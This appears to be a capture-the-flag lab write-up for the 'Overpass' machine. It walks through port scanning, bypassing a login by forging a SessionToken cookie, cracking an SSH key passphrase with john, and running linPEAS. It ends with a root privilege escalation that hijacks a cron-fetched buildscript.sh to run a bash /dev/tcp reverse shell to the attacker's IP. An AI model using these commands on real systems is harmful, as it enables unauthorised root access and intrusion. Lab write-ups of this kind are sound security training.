Overpass
Nmap Scan
sudo nmap -sV -p- -T4 -Pn 10.10.62.26 --disable-arp-ping --max-retries=0
Web Enumeration
sudo ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ -u http://10.10.62.26/FUZZ -t 10
Then we see what directories exist with dirb http://<TARGET_IP> and discover /admin.
On that page we discover login.js:
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
The block } else { Cookies.set("SessionToken",statusOrCookie) window.location = "/admin" } can be a broken authentication, part of OWASP Top 10.
Going to Developer Tools (F12) and navigating to Storage (Firefox) and adding a new item, we created SessionToken with a value of admin and gained acces.
Found:
We can use ssh2john.py and john-the-ripper to crack the passphrase to this.
python3 /usr/share/john/ssh2john.py id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Set id_rsa permissions, then SSH in:
chmod 600 id_rsa
ssh -i id_rsa <TARGET_IP>
We find our first flag:
Next, start a python server, download linPEAS, make it executable, and run it:
python3 -m http.server 1337
wget http://<ATTACKER_IP>/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64
Looking through our results, we find something peculiar:
Every minute on the minute a request is sent out to pull buildscript.sh as root.
Looking at /etc/hosts we realize we can change overpass.thm to our IP address.
So the method to escalate privs here is to change the IP to ours, create /downloads/src directory on our box with a modified buildscript.sh that contains a reverse shell.
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.13.28.215/1338 0>&1"
Then run a python server from the root directory with python3 -m http.server 80 and after a minute it will pull the buildscript.sh we made and call back to our nc listener on 1338.